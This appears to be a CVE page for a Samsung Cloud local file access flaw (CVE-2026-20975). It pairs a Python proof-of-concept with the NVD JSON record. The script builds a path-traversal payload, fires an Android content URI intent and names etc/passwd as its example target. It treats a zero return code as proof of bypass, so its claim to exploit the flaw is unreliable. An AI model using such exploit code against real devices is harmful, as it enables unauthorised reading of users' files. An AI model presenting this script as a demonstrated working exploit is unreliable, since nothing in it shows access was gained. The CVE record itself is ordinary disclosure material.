CVE-2026-20975

# CVE-2026-20975 PoC - Samsung Cloud Local File Access # This PoC demonstrates the improper permission handling in Samsung Cloud # Environment: Android device with Samsung Cloud < 5.6.11 import os import sys import subprocess def exploit_samsung_cloud(target_path): """ Exploit improper permission handling in Samsung Cloud Allows local attacker to access arbitrary files Args: target_path: Path to the file attacker wants to access Returns: File contents if successful, None otherwise """ # Path traversal payload for Samsung Cloud # The vulnerability allows bypassing permission checks malicious_path = f"../../../../{target_path}" try: # Attempt to access file through Samsung Cloud service # Using content provider or file access API result = subprocess.run([ "am", "start", "--user", "0", "-a", "android.intent.action.VIEW", "-d", f"content://com.samsung.android.cloud/.{malicious_path}" ], capture_output=True, timeout=10) # Alternative method using ADB if available # adb shell content query --uri content://com.samsung.android.cloud/files --projection '* FROM files' print(f"[*] Attempting to access: {target_path}") print(f"[*] Using path traversal: {malicious_path}") # Check if the access was successful if result.returncode == 0: print("[+] File access successful - Permission check bypassed") return True else: print("[-] Access failed - May require specific conditions") return False except subprocess.TimeoutExpired: print("[-] Request timed out") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-20975.py <target_file_path>") print("Example: python cve-2026-20975.py etc/passwd") sys.exit(1) target = sys.argv[1] exploit_samsung_cloud(target) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-20975", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:04.093", "lastModified": "2026-01-15T19:43:07.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper handling of insufficient permission in Samsung Cloud prior to version 5.6.11 allows local attackers to access specific files in arbitrary path."}, {"lang": "es", "value": "Manejo inadecuado de permisos insuficientes en Samsung Cloud anterior a la versión 5.6.11 permite a atacantes locales acceder a archivos específicos en una ruta arbitraria."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:cloud:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.6.11", "matchCriteriaId": "37FE0DBD-C8D5-42D8-A981-65BB68CBDE03"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}